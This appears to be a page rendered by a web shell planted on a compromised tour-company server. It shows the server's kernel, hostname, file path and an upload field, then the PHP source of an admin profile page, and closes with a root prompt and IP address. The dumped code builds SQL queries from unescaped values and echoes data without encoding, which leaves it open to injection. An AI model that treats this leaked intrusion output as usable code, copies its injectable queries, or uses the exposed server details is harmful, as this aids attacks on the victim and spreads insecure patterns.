? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/public_html/old/promice/Admin/
File Upload :
Current File : /home/admin/public_html/old/promice/Admin/ShopDetail.php

<?
@session_start();
ob_start();
$useradmin = $_SESSION["useradmin"];
if(empty($useradmin)) 
{
echo "<script>alert('หน้านี้จำกัดเฉพาะ Admin เท่านั้น');history.back();</script>";
exit();
}
require_once "../include/tdate.php";
require_once "../include/connect.php";
require_once "../include/connectdb.php";

						  $sql="select * from useradmin where useradmin='$useradmin'";
						  $db_query=mysql_db_query($db,$sql);
						  $result=mysql_fetch_array($db_query);
						  $id=$result[id];
						  $adminname=$result[name];
						  $user_admin=$result[useradmin];
						  $pass_admin=$result[passadmin];
?>
<html>
<head>
<title><? echo "$headtxt"; ?></title>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<script type="text/javascript">
function showAndHide(idShow, this_checked)
{
if(this_checked==true){
document.getElementById(idShow).style.display = '';
}else{
document.getElementById(idShow).style.display = 'none';
}
}
</script>
<link href="../css/style.css" rel="stylesheet" type="text/css">
</head>
<body bgcolor="#ffffff">
<div align="center"><strong> 
  </strong>
  <table width="89%" border="0" align="center" cellpadding="1" cellspacing="1">
    <tr valign="top"> 
      <td width="60%"><? echo "$headtxt | $e_date $etime"; ?><br>
        <div align="left">หน้าปัจจุบันของคุณ : 
          <a href="Main.php">หน้าหลัก</a> --&gt; 
          <strong>ข้อมูลส่วนตัว</strong></div></td>
      <td width="40%"> <div align="right">ยินดีต้อนรับคุณ 
          <? echo "<u>$adminname</u>"; ?> เข้าใช้งานในระบบ<br>
          [ <a href="ChangePass.php">เปลี่ยนรหัสผ่าน</a> 
          ] <a href="logout.php">ออกจากระบบ</a> </div></td>
    </tr>
    <tr> 
      <td colspan="2"><table width="100%" border="1" align="center" cellpadding="0" cellspacing="0" bordercolor="#E9E9E6">
          <tr> 
            <td><div align="center"> 
                <table width="100%" border="0" cellspacing="1" cellpadding="1">
                  <tr> 
                    <td><div align="center"> <br>
                        
                        <?php
						  $sql_1="select * from shop where id = $id";
						  $db_query=mysql_db_query($db,$sql_1);
						  $result1=mysql_fetch_array($db_query);
						  $idx  =$result1['id'];
						  $shopname  =$result1['shopname'];
						  $shopaddr  =$result1['shopaddr'];
						  $shopphone  =$result1['shopphone'];
						  $shopfax  =$result1['shopfax'];
						  $shopemail  =$result1['shopemail'];
						   $agent =$id
						?>
                        
<table width="765" height="19" border="0" cellpadding="1" cellspacing="1">
                          <form method="post" action="ShopSave.php">
                            <tr bgcolor="#FFFFFF"> 
                              <td width="195"> <div align="right">ชื่อ/องค์กร /หน่วยงาน :</div></td>
                              <td width="497"> 
                                <input name="shopname" type="text" class="input" size="40" value='<? echo $shopname; ?>'>
                                <input type="hidden" name="idx" value=<? echo "$idx"; ?>>
                                </td>
                            </tr>
                            <tr bgcolor="#FFFFFF"> 
                              <td> <div align="right">รายละเอียด:</div></td>
                              <td> 
                                <textarea name="shopaddr" cols="65" rows="7" id="shopaddr"><? echo "$shopaddr"; ?></textarea>
                              </td>
                            </tr>
                            <tr bgcolor="#FFFFFF"> 
                              <td> <div align="right">โทรศัพท์ 
                                  :</div></td>
                              <td> 
                                <input name="shopphone" type="text" class="input" id="shopphone" size="40" value='<? echo $shopphone; ?>'>
                                </td>
                            </tr>
                            <tr bgcolor="#FFFFFF"> 
                              <td> <div align="right">โทรสาร :</div></td>
                              <td> 
                                <input name="shopfax" type="text" class="input" id="shopfax" size="40" value='<? echo $shopfax; ?>'>
                                </td>
                            </tr>
                            <tr bgcolor="#FFFFFF"> 
                              <td> <div align="right">Email Address 
                                  :</div></td>
                              <td> 
                                <input name="shopemail" type="text" class="input" id="shopemail" size="40" value='<? echo $shopemail; ?>'>
                                 </td>
                            </tr>
                            <tr bgcolor="#FFFFFF"> 
                              <td>&nbsp;</td>
                              <td> <input name="submit" type="submit" class="submit" value="ปรับปรุงรายการ" onClick="return confirm ('คุณต้องการบันทึก ใช่ หรือ ไม่? ') ></td>
                          </tr>
                        </form>
                      </table>
                    </div></td>
                </tr>
              </table></td>
          </tr>
          <tr>
            <td>&nbsp;</td>
          </tr>
        </table>
        
      </div></td>
    <td><img src="../images/spacer.gif" width="1" height="13" border="0" alt=""></td>
                            </tr>
                          </form>
                        </table>
                        <br>
                      </div></td>
                  </tr>
                </table>
              </div></td>
          </tr>
        </table></td>
    </tr>
    <tr> 
      <td colspan="2"><div align="center"><br>
          <? echo "$buttomtxt"; ?> </div></td>
    </tr>
  </table>
  
</div>
</body>
</html>

T1KUS90T
  root-grov@210.1.60.28:~$